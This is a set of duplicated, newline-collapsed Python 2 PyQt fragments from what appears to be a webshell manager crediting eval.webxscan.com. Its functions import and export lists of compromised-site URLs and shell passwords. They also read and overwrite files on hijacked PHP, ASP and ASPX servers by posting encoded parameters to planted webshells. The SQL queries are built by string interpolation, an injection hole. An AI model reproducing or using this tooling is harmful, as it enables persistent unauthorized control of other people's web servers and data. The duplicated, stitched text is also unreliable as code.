def __init__(self): super(mywindow, self).__init__() shell=Db_Model.db_sqlite3.C_sqlite3() #数据 shell.mysqlite3_open() #链接数据库 UIManager.shell_sql=shell self.main_ui = main_ui() #主窗口 UIManager.add_ui('main_ui', self.main_ui) self.main_ui.show() #显示 tableWidget_work.tableWidget_ini() #列表初始化 treeWidget_work.reload_tree() #加载目录 msg.msg_lower_Left(u"欢迎使用 http://eval.webxscan.com 软件出品 ") #self.statusBar().showMessage("1111",3000) tableWidget_work.add_tableWidget("0") #查询数据 在添加########################################## g.pathx=str(sys.path[0]) #记录当前路径 #读取LINK 链接超时 try: INI_config = ConfigParser.ConfigParser() INI_config.readfp(open("system/Server.ini")) timeout=int(INI_config.get('main', 'link_shell_timeout')) if timeout>=3: ui.link_shell_timeout=timeout except BaseException, e: pass
def while_export_shell(self): #选择导出 try: data="" self.window = QtGui.QMainWindow() files= QFileDialog.getSaveFileName(self.window, u"文件保存", u"%s\\"%(g.cur_file_dir()), "Text Files (*.txt)") if len(files): int_model = self.main_ui.tableWidget.selectionModel() #获取选中编号 if len(int_model.selectedRows())>=1: for index in int_model.selectedRows(): #// 对于被选中的每一行 try: int_index=index.row()#获取行号 ID=self.main_ui.tableWidget.item(int(int_index),0).text() #获取某一格内容 #print ID self.id_shell_list=db_shell.id_sitetable_shell(str(ID)) #通过ID查询SHELL的状态 #self.id=str(self.id_shell_list[0]) #自动编号 #self.type_id=str(self.id_shell_list[1]) # 类别 self.siteurl=str(self.id_shell_list[2]) # 网址 self.sitepass=str(self.id_shell_list[3]) # 密码 data+="%s|%s\r\n"%(str(self.siteurl),str(self.sitepass)) except BaseException, e: pass if self.TXT_file2(files,data): msg.msg_lower_Left(u"导出SHELL %s 成功"%(str(files)))#设置状态栏文字信息 msg.msg_box(u"导出SHELL",u"导出SHELL %s 成功"%(str(files))) else: msg.msg_lower_Left(u"导出SHELL %s 失败"%(str(files)))#设置状态栏文字信息 msg.msg_box(u"导出SHELL",u"导出SHELL %s 失败"%(str(files))) except BaseException, e: log.logging.debug("except:%s"%(str(e)))
def load_shell(self): #载入路径 try: name = self.name_lineEdit.text() if self.script == "PHP": psot_data = link_shell.GetPostText(self.script, "Open_file") #上传文件 psot_data="%s&z1=%s"% \ (link_shell.post_php_data(psot_data),base64.b64encode(str(name))) if self.script == "ASP": psot_data = link_shell.GetPostText(self.script, "Open_file") #获取文件内容 psot_data="%s&z1=%s"% \ (psot_data,urllib.quote(str(name))) if self.script == "ASPX": psot_data = link_shell.GetPostText(self.script, "Open_file") #获取代码 psot_data="%s&z1=%s"% \ (psot_data,urllib.quote(base64.b64encode(str(name).replace('\\', '\\\\')))) FALSE_bool, ResInfo = eval_link.Post_eval_php( str(self.id), psot_data) #获取 请求内容 if not FALSE_bool == 0: # if "ERROR:" in ResInfo: # msg.msg_lower_Left(u"%s错误 %s"%(str(name),str(ResInfo)))#设置状态栏文字信息 # msg.msg_box(u"错误提示",str(ResInfo)) #错误提示 # else: msg.msg_lower_Left(u"%s读取文件完成" % (str(name))) #设置状态栏文字信息 self.data_textEdit.setPlainText(u'%s' % (ResInfo)) #Edit_file_ui.Edit_file(id=self.id,data=ResInfo,name=name) #编辑这个文件 else: msg.msg_lower_Left(u"%s读取文件错误" % (str(name))) #设置状态栏文字信息 except BaseException, e: log.logging.debug("except:%s" % (str(e)))
def __init__(self): super(mywindow, self).__init__() shell = Db_Model.db_sqlite3.C_sqlite3() #数据 shell.mysqlite3_open() #链接数据库 UIManager.shell_sql = shell self.main_ui = main_ui() #主窗口 UIManager.add_ui('main_ui', self.main_ui) self.main_ui.show() #显示 tableWidget_work.tableWidget_ini() #列表初始化 treeWidget_work.reload_tree() #加载目录 msg.msg_lower_Left(u"欢迎使用 http://eval.webxscan.com 软件出品 " ) #self.statusBar().showMessage("1111",3000) tableWidget_work.add_tableWidget( "0") #查询数据 在添加########################################## g.pathx = str(sys.path[0]) #记录当前路径 #读取LINK 链接超时 try: INI_config = ConfigParser.ConfigParser() INI_config.readfp(open("system/Server.ini")) timeout = int(INI_config.get('main', 'link_shell_timeout')) if timeout >= 3: ui.link_shell_timeout = timeout except BaseException, e: pass
def load_shell(self): #载入路径 try: name=self.name_lineEdit.text() if self.script=="PHP": psot_data=link_shell.GetPostText(self.script,"Open_file") #上传文件 psot_data="%s&z1=%s"% \ (link_shell.post_php_data(psot_data),base64.b64encode(str(name))) if self.script=="ASP": psot_data=link_shell.GetPostText(self.script,"Open_file") #获取文件内容 psot_data="%s&z1=%s"% \ (psot_data,urllib.quote(str(name))) if self.script=="ASPX": psot_data=link_shell.GetPostText(self.script,"Open_file") #获取代码 psot_data="%s&z1=%s"% \ (psot_data,urllib.quote(base64.b64encode(str(name).replace('\\', '\\\\')))) FALSE_bool,ResInfo=eval_link.Post_eval_php(str(self.id),psot_data) #获取 请求内容 if not FALSE_bool==0: # if "ERROR:" in ResInfo: # msg.msg_lower_Left(u"%s错误 %s"%(str(name),str(ResInfo)))#设置状态栏文字信息 # msg.msg_box(u"错误提示",str(ResInfo)) #错误提示 # else: msg.msg_lower_Left(u"%s读取文件完成"%(str(name)))#设置状态栏文字信息 self.data_textEdit.setPlainText(u'%s'%(ResInfo)) #Edit_file_ui.Edit_file(id=self.id,data=ResInfo,name=name) #编辑这个文件 else: msg.msg_lower_Left(u"%s读取文件错误"%(str(name)))#设置状态栏文字信息 except BaseException, e: log.logging.debug("except:%s"%(str(e)))
def add_shell(self, open_file, split): #添加数据 try: i_ok = 0 i_no = 0 for xxx_line in open_file.readlines(): try: data = xxx_line.strip().lstrip() line = data.split(str(split)) type_id_id = self.type_id.currentIndex() type_id = self.list_data[type_id_id - 1] script = self.GetExt(str(line[0])) #判断文件编码 sql_data="insert into sitetable(type_id,siteurl,sitepass,link,config,remarks,script,coding,createtime) " \ "VALUES(%s,'%s','%s','%s','%s','%s','%s','%s','%s')" \ %(str(type_id),str(line[0]),str(line[1]),"2","","",script,"65001",str(time.time())) if self.shell_sql.mysqlite3_insert(sql_data): i_ok += 1 else: i_no += 1 except BaseException, e: log.logging.debug("except:%s" % (str(e))) msg.msg_lower_Left(u"添加数据成功%s条 失败%s条" % (str(i_ok), str(i_no))) #设置状态栏文字信息 msg.msg_box(u"提示", u"添加数据成功%s条 失败%s条" % (str(i_ok), str(i_no))) #tableWidget_work.add_tableWidget(str(ui.treeWidget_id)) #加载当前列表 tableWidget_work.reload_tree() #加载目录
def Dexport(self, open_file): #导出数据 try: #self.main_ui type_id_id = self.type_id.currentIndex() type_id = self.list_data[type_id_id - 1] #获取ID sql_data = "select * from sitetable WHERE type_id='%s' order by `updatetime` desc" % ( str(type_id)) # asc 表示升序 , desc表示降序 self.shell_sql.conn.commit() # 获取到游标对象 cur = self.shell_sql.conn.cursor() # 用游标来查询就可以获取到结果 cur.execute(sql_data) # 获取所有结果 res = cur.fetchall() #从结果中取出所有记录 cur.close() #关闭游标 data = "" for line in res: url_pass = "******" % (str(line[2]), str( self.radio_id), str(line[3])) data += url_pass + "\r\n" if self.TXT_file2(open_file, data): msg.msg_lower_Left(u"导出SHELL %s 成功" % (str(open_file))) #设置状态栏文字信息 msg.msg_box(u"导出SHELL", u"导出SHELL %s 成功" % (str(open_file))) else: msg.msg_lower_Left(u"导出SHELL %s 失败" % (str(open_file))) #设置状态栏文字信息 msg.msg_box(u"导出SHELL", u"导出SHELL %s 失败" % (str(open_file))) except BaseException, e: log.logging.debug("except:%s" % (str(e)))
def add_shell(self,open_file,split):#添加数据 try: i_ok=0 i_no=0 for xxx_line in open_file.readlines(): try: data=xxx_line.strip().lstrip() line = data.split(str(split)) type_id_id=self.type_id.currentIndex() type_id=self.list_data[type_id_id-1] script=self.GetExt(str(line[0])) #判断文件编码 sql_data="insert into sitetable(type_id,siteurl,sitepass,link,config,remarks,script,coding,createtime) " \ "VALUES(%s,'%s','%s','%s','%s','%s','%s','%s','%s')" \ %(str(type_id),str(line[0]),str(line[1]),"2","","",script,"65001",str(time.time())) if self.shell_sql.mysqlite3_insert(sql_data): i_ok+=1 else: i_no+=1 ss="add OK:%s--NO:%s"%(str(i_ok),str(i_no)) self.shell_add.setText(ss) except BaseException, e: log.logging.debug("except:%s"%(str(e))) msg.msg_lower_Left(u"添加数据成功%s条 失败%s条"%(str(i_ok),str(i_no)))#设置状态栏文字信息 msg.msg_box(u"提示",u"添加数据成功%s条 失败%s条"%(str(i_ok),str(i_no))) #tableWidget_work.add_tableWidget(str(ui.treeWidget_id)) #加载当前列表 tableWidget_work.reload_tree() #加载目录
def save_shell(self): #保存文件 try: name=self.name_lineEdit.text() file_dataX=self.data_textEdit.toPlainText() file_data=base64.b64encode(str(file_dataX)) #name3=name.replace("\\","\\\\") #Route_File name2=g.file_GetExt(str(name))#输入路径地址 转换路径 if self.script=="PHP": psot_data=link_shell.GetPostText(self.script,"Route_File") #保存文件 psot_data="%s&z1=%s&z2=%s"% \ (link_shell.post_php_data(psot_data),base64.b64encode(str(name2)),urllib.quote(str(file_data))) if self.script=="ASP": psot_data=link_shell.GetPostText(self.script,"Route_File") #保存文件 psot_data="%s&z1=%s&z2=%s"% \ (psot_data,binascii.b2a_hex(str(name2)),binascii.b2a_hex(str(file_dataX))) if self.script=="ASPX": psot_data=link_shell.GetPostText(self.script,"Route_File") #保存文件 psot_data="%s&z1=%s&z2=%s"% \ (psot_data,urllib.quote(base64.b64encode(str(name2).replace('\\', '\\\\'))),urllib.quote(str(file_dataX))) FALSE_bool,ResInfo=eval_link.Post_eval_php(str(self.id),psot_data) #获取 请求内容 if not ((FALSE_bool==0) and (str(ResInfo)=="1")): if "ERROR:" in ResInfo: msg.msg_lower_Left(u"%s错误 %s"%(str(name2),str(ResInfo)))#设置状态栏文字信息 msg.msg_box(u"错误提示",str(ResInfo)) #错误提示 else: msg.msg_lower_Left(u"%s文件写入完成"%(str(name2)))#设置状态栏文字信息 #self.data_textEdit.setPlainText(u'%s'%(ResInfo)) #Edit_file_ui.Edit_file(id=self.id,data=ResInfo,name=name) #编辑这个文件 else: msg.msg_lower_Left(u"%s文件写入错误"%(str(name2)))#设置状态栏文字信息 except BaseException, e: log.logging.debug("except:%s"%(str(e)))
def Dexport(self,open_file): #导出数据 try: type_id_id=self.type_id.currentIndex() type_id=self.list_data[type_id_id-1] #获取ID sql_data = "select * from sitetable WHERE type_id='%s' order by `updatetime` desc"%(str(type_id)) # asc 表示升序 , desc表示降序 self.shell_sql.conn.commit()# 获取到游标对象 cur = self.shell_sql.conn.cursor()# 用游标来查询就可以获取到结果 cur.execute(sql_data)# 获取所有结果 res = cur.fetchall() #从结果中取出所有记录 cur.close() #关闭游标 data="" for line in res: url_pass="******"%(str(line[2]),str(self.radio_id),str(line[3])) data+=url_pass+"\r\n" if self.TXT_file2(open_file,data): msg.msg_lower_Left(u"导出SHELL %s 成功"%(str(open_file)))#设置状态栏文字信息 msg.msg_box(u"导出SHELL",u"导出SHELL %s 成功"%(str(open_file))) else: msg.msg_lower_Left(u"导出SHELL %s 失败"%(str(open_file)))#设置状态栏文字信息 msg.msg_box(u"导出SHELL",u"导出SHELL %s 失败"%(str(open_file))) except BaseException, e: log.logging.debug("except:%s"%(str(e)))
def save_shell(self): #保存文件 try: name = self.name_lineEdit.text() file_dataX = self.data_textEdit.toPlainText() file_data = base64.b64encode(str(file_dataX)) #name3=name.replace("\\","\\\\") #Route_File name2 = g.file_GetExt(str(name)) #输入路径地址 转换路径 if self.script == "PHP": psot_data = link_shell.GetPostText(self.script, "Route_File") #保存文件 psot_data="%s&z1=%s&z2=%s"% \ (link_shell.post_php_data(psot_data),base64.b64encode(str(name2)),urllib.quote(str(file_data))) if self.script == "ASP": psot_data = link_shell.GetPostText(self.script, "Route_File") #保存文件 psot_data="%s&z1=%s&z2=%s"% \ (psot_data,binascii.b2a_hex(str(name2)),binascii.b2a_hex(str(file_dataX))) if self.script == "ASPX": psot_data = link_shell.GetPostText(self.script, "Route_File") #保存文件 psot_data="%s&z1=%s&z2=%s"% \ (psot_data,urllib.quote(base64.b64encode(str(name2).replace('\\', '\\\\'))),urllib.quote(str(file_dataX))) FALSE_bool, ResInfo = eval_link.Post_eval_php( str(self.id), psot_data) #获取 请求内容 if not ((FALSE_bool == 0) and (str(ResInfo) == "1")): if "ERROR:" in ResInfo: msg.msg_lower_Left(u"%s错误 %s" % (str(name2), str(ResInfo))) #设置状态栏文字信息 msg.msg_box(u"错误提示", str(ResInfo)) #错误提示 else: msg.msg_lower_Left(u"%s文件写入完成" % (str(name2))) #设置状态栏文字信息 #self.data_textEdit.setPlainText(u'%s'%(ResInfo)) #Edit_file_ui.Edit_file(id=self.id,data=ResInfo,name=name) #编辑这个文件 else: msg.msg_lower_Left(u"%s文件写入错误" % (str(name2))) #设置状态栏文字信息 except BaseException, e: log.logging.debug("except:%s" % (str(e)))